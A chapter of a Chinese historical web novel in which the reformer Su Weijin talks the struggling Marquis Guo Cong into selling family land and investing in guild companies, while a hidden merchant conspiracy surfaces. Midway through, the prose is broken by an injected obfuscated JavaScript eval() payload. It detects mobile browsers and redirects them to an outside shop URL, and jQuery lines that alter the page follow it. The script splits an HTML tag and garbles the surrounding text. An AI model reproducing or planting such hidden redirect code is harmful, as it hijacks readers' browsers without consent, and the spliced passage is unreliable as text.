九月里的北京城，秋老虎还在发威。


    可武定侯府的花厅里，却透着股子寒气。


    家主郭聪坐在太师椅上，手里捏着本账册，指节捏得发白。


    这位郭勋的侄孙，三十出头，生得倒是一表人才，可此刻眉头紧锁，额角冒汗，活像刚被霜打过的茄子。


    “侯爷，这是上月的进项。”


    账房先生垂着手，声音低得像蚊子哼哼。


    “田庄租子收上来两千三百两，比去年同月少了五百两。”


    “城里的铺面，有三家关了张，说是‘生意不好做’。”


    “盐引那边的分红……彻底没了。”


    郭聪啪地把账册摔在桌上：“没了？”


    “什么叫没了？”


    “盐政改了，盐引作废了。”账房缩了缩脖子。


    “往年这时候，盐商该送分红来了，少说也有一千五百两。”


    “今年……一个铜板都没见着。”


    郭聪气得胸口发闷。


    武定侯府，曾经何等风光？


    叔祖郭勋掌京营时，家里日进斗金。


    盐引、茶引、漕运，哪样不沾？


    田庄遍布北直隶，光是良田就有上万亩。


    可自打郭勋倒台，苏惟瑾掌权，这日子就一天不如一天。


    盐政改革，断了盐引的财路。


    海关新政，卡了走私的门路。


    清丈田亩虽然还没全面铺开，可风声已经传出来了——朝廷要重新丈量天下田地，隐田匿税的好日子，怕是要到头了。


    “这才几年……”郭聪喃喃自语。


    “年收入就折了一半。”


    “再这么下去，武定侯府就得喝西北风了。”


    管家郭福小心翼翼道：“侯爷，老奴听说，成安侯家上个月卖了京郊两百亩地，凑银子入股什么‘纺织公司’。”


    “还有安远伯家，把南城的铺面盘出去三间，也投了商会。”


    “他们也跟着苏惟瑾胡闹？”郭聪冷笑。


    “不是胡闹。”郭福压低声音。


    “成安侯家那两百亩地，卖了个好价钱。”


    “投进纺织公司的银子，听说三个月就分了红，年化两成呢！”


    郭聪一愣。


    两成？


    放印子钱也就这个利了，还得担着官府查禁的风险。


    他盯着账册上那行刺眼的数字，沉默了足足一炷香时间，终于咬牙：“备车，去**公府。”


    **公府后园的水榭里，苏惟瑾正在和陈芸娘下棋。


    秋日的阳光透过竹帘，斑斑驳驳洒在棋盘上。


    陈芸娘执白，落子轻盈。


    苏惟瑾执黑，步步为营。


    两人都不说话，只有棋子落在楸木棋盘上的清脆声响。


    “夫君今日心不静。”陈芸娘忽然开口，落下一子，封住了黑棋一条大龙。


    苏惟瑾笑了：“芸娘看出来了？”


    “这步‘小飞’，你平时不会这么下。”陈芸娘抬眼看他，眼中带着温柔的笑意。


    “可是朝中又有难事？”


    “难事倒没有。”苏惟瑾拈起一颗黑子，在指尖转动。


    “是有人要上门了。”


    正说着，长随苏安轻手轻脚走进来，低声道：“公子，武定侯郭聪求见。”


    “来了。”苏惟瑾放下棋子。


    “请到前厅看茶，说我稍后就到。”


    陈芸娘起身，替他理了理衣襟：“武定侯家……可是难缠的。”


    “再难缠的刺头，也得一根根拔了。”苏惟瑾握住她的手。


    “你先歇着，我去会会这位侯爷。”


    前厅里，郭聪正坐立不安。


    他打量着这间客厅——布置得简朴，一水的黄花梨家具，多宝阁上摆的不是古董玉器，而是船模、农具模型、还有几块奇形怪状的矿石。


    墙上挂着一幅字，是苏惟瑾亲笔写的：“经世致用”。


    一股子“格物”的味儿。


    郭聪心里更没底了。


    他今天来，是硬着头皮。


    武定侯府虽然没落了，可爵位还在，脸面还要。


    求到政敌门上，传出去不好听。


    可没办法，家里快揭不开锅了。


    正胡思乱想，门外传来脚步声。


    苏惟瑾一袭月白直裰走了进来，脸上带着温和的笑意：“郭侯爷，稀客啊。”


    郭聪连忙起身行礼：“下官冒昧来访，打扰国公爷清静了。”


    “坐。”苏惟瑾在主位坐下，示意上茶。


    “侯爷今日来，有事？”


    郭聪捧着茶盏，手心冒汗。


    他斟酌着词句：“国公爷……下官今日来，是想请教请教，这新政之下，像咱们这样的勋贵之家，该如何……如何自处？”


    这话说得委婉，可意思明白：饭碗被你砸了，你得给条活路。


    苏惟瑾喝了口茶，不疾不徐：“侯爷这话问得好。”


    “其实不光勋贵，天下士绅，都该想想——守着祖产收租子，能收多久？”


    他放下茶盏，目光平静：“北直隶一亩上田，年收租一石，值银一两。”


    “可若是引进新式农具，雇工精耕，亩产翻到两石半，刨去工钱种子，净利至少二两。”


    “侯爷算算，哪个划算？”


    郭聪一愣。


    他真没算过。


    武定侯府的田庄，都是租给佃户，每年收固定租子。


    产量高低，那是佃户的事。


    “国公爷的意思是……”


    “改租为雇。”苏惟瑾一字一句。


    “将部分良田集中起来，办‘农庄’。”


    “朝廷可以从格物学堂调拨新式犁耙、水车，还可以引进海外高产作物。”


    “产量上去了，利润自然就来了。”


    郭聪有些心动，可犹豫道：“这……得投多少银子？”


    “雇工好管吗？”


    “万一歉收……”


    “所以还有第二条路。”苏惟瑾笑了。


    “侯爷家田产不少吧？”


    “可有偏远些的，产出不高的？”


    “有。”郭聪老实道。


    “宣府那边有两千多亩旱地，收成不好，年年亏钱。”


    “卖给我。”苏惟瑾说得很直接。


    “卖？”郭聪愕然。


    “朝廷正在推行辽东移民，需要大量田地安置流民。”苏惟瑾解释道。


    “侯爷若愿卖，朝廷按市价溢价一成赎买。”


    “所得银两，侯爷可以存着，也可以……”他顿了顿。


    “入股商会旗下的公司。”


    “年利，至少两成。”


    郭聪脑子嗡的一声。


    卖地？


    这念头他从未有过。


    田地是祖产，是根本，卖了就是败家子。


    可苏惟瑾开出的条件，又太诱人。


    溢价一成，现银结算。


    银子投进商会，年利两成——这比收租子高多了！


    而且省心，不用管佃户**，不用愁年成好坏。


    “侯爷慢慢想。”苏惟瑾也不催，端起茶盏慢慢品着。


    “盐引没了，关税严了，清丈田亩迟早要铺开——守着田地收租子的老路，走不通了。”


    “与其到时候被动，不如现在主动转型。”


    他放下茶盏，声音诚恳：“本公改革，不是要断谁的财路，是要给大家找新路。”


    “勋贵之家，坐拥资源，若能转向实业，利国利民，也利己。”


    郭聪沉默了。


    他想起府里那本越来越薄的账册，想起管家说的“成安侯家分了红”，想起这几个月勋贵圈子里悄悄的议论——有人骂苏惟瑾，可也有人开始悄悄跟着新政走。


    “国公爷，”他终于开口，声音干涩。


    “宣府那三千亩旱地……我卖。”


    “不，武定侯府卖。”


    十月初，武定侯府与户部签了“赎买契”。


    三千亩旱地，市价每亩五两，朝廷溢价一成，以每亩五两五钱收购，总计一万六千五百两。


    银子当天就抬进了武定侯府，白花花的官银，晃得人眼花。


    消息传开，勋贵圈炸了锅。


    “郭聪把祖产卖了？！”


    “败家子啊！”


    “武定侯府的脸都让他丢尽了！”


    可骂归骂，私下里打听的人却不少。


    “真给现银？”


    “溢价一成？”


    “入股真能分两成利？”<b


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110686|186215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    r>更劲爆的消息还在后头：郭聪那一万六千多两银子，转头就全数入股了“辽东垦殖公司”——这是商会新成立的项目，专事辽东移民屯田。


    公司总股本二十万两，武定侯府一家就占了近一成。


    十一月底，辽东传来消息：垦殖公司首批开荒三万亩，引进的“金薯”（红薯）大丰收，亩产二十石。


    公司净利八千两，按股分红。


    郭聪拿到了第一笔红利——三百三十两。


    虽然不多，可这是实打实的、不用操心就来的银子。


    武定侯府摆宴庆贺。


    宴席上，郭聪举着酒杯，满面红光：“诸位，以前咱们守着田地，看天吃饭。”


    “如今把银子投进公司，让会经营的人去经营，咱们坐着分红——这日子，不更舒坦？”


    几个原本骂得最凶的勋贵，此刻闷头喝酒，不说话了。


    酒过三巡，成安侯悄悄凑过来：“郭兄，你那地……真卖划算？”


    “划算。”郭聪压低声音。


    “那三千亩旱地，往年最多收五百两租子，还得防着佃户逃租、天旱歉收。”


    “如今卖了，现银到手，投进公司，一年稳稳的三百多两红利。”


    “而且这红利，年年有，还能涨。”


    他顿了顿，意味深长：“再说了，清丈田亩的风声越来越紧。”


    “现在卖，还能溢价。”


    “等真清丈了，那些隐田黑地，保不保得住都难说。”


    成安侯脸色变了变，匆匆告辞。


    第二天，安远伯府也派人去了户部。


    第三天，定国公家卖了两千亩山地。


    短短一个月，北直隶八家勋贵，卖出田地总计两万三千亩，得银十三万两，全部流入商会旗下的实业公司。


    户部衙门里，王杲捧着厚厚一叠地契，老泪纵横：“国公爷……这些地，都是上好的移民安置田啊！”


    “您这‘赎买策’，真是……真是神了！”


    苏惟瑾却没什么喜色。


    他站在窗前，望着院子里落叶纷飞的梧桐树，忽然问：“王尚书，这些勋贵卖地得的银子，都投了哪些公司？”


    “主要是辽东垦殖、北洋造船、江南纺织这三家。”王杲翻看账册。


    “怎么，有问题？”


    “查查。”苏惟瑾转身，眼神锐利。


    “查查这些公司里，有没有特别‘热心’引导勋贵投资的股东。”


    “尤其是……和闽浙海商有牵扯的。”


    王杲一愣：“国公爷是怀疑……”


    “咱们在引导资本，别人也可能在利用资本。”苏惟瑾声音低沉。


    “那个‘陈爷’还没揪出来。”


    “他能往辽东送火器，就不能在北京引导资金，让勋贵的银子，最终流进他的口袋？”


    他想起锦衣卫刚送来的密报：月港那个“陈南海”又出现了，这次是以“南洋侨商”的身份，正在接触几家闽浙商帮，似乎想合伙成立一家“远洋贸易公司”。


    而这家公司的募股对象，赫然包括了刚刚套现的几家勋贵。


    太巧了。


    巧得让人脊背发凉。


    赎买策大获成功，勋贵转型渐成风气，土地兼并缓解，资本涌向实业。


    然而苏惟瑾的警觉提到了最高——那个神秘的“陈南海”竟以侨商身份现身，正积极筹办“远洋贸易公司”，目标直指刚刚套现的勋贵资本！


    更蹊跷的是，锦衣卫暗中调查发现，引导武定侯郭聪投资“辽东垦殖公司”的中间人，上月曾秘密南下泉州，与一家背景复杂的海商号有过接触。


    而周大山从月港发来密报：陈南海船上的“红毛番人”身份查明，竟是葡萄牙远东商会的火炮技师，此人三年前曾在澳门帮佛朗机人改进过舰炮！


    一条若隐若现的线索渐渐浮出：有人试图以资本为纽带，将勋贵、海商、西方技师乃至辽东的女真串联成网！


    苏惟瑾猛然惊觉，这场经济改革战，不知不觉已与暗处的阴谋战交汇于资本这一战场。


    他引导的洪流，是否正在被另一双手暗中引导向危险的深渊？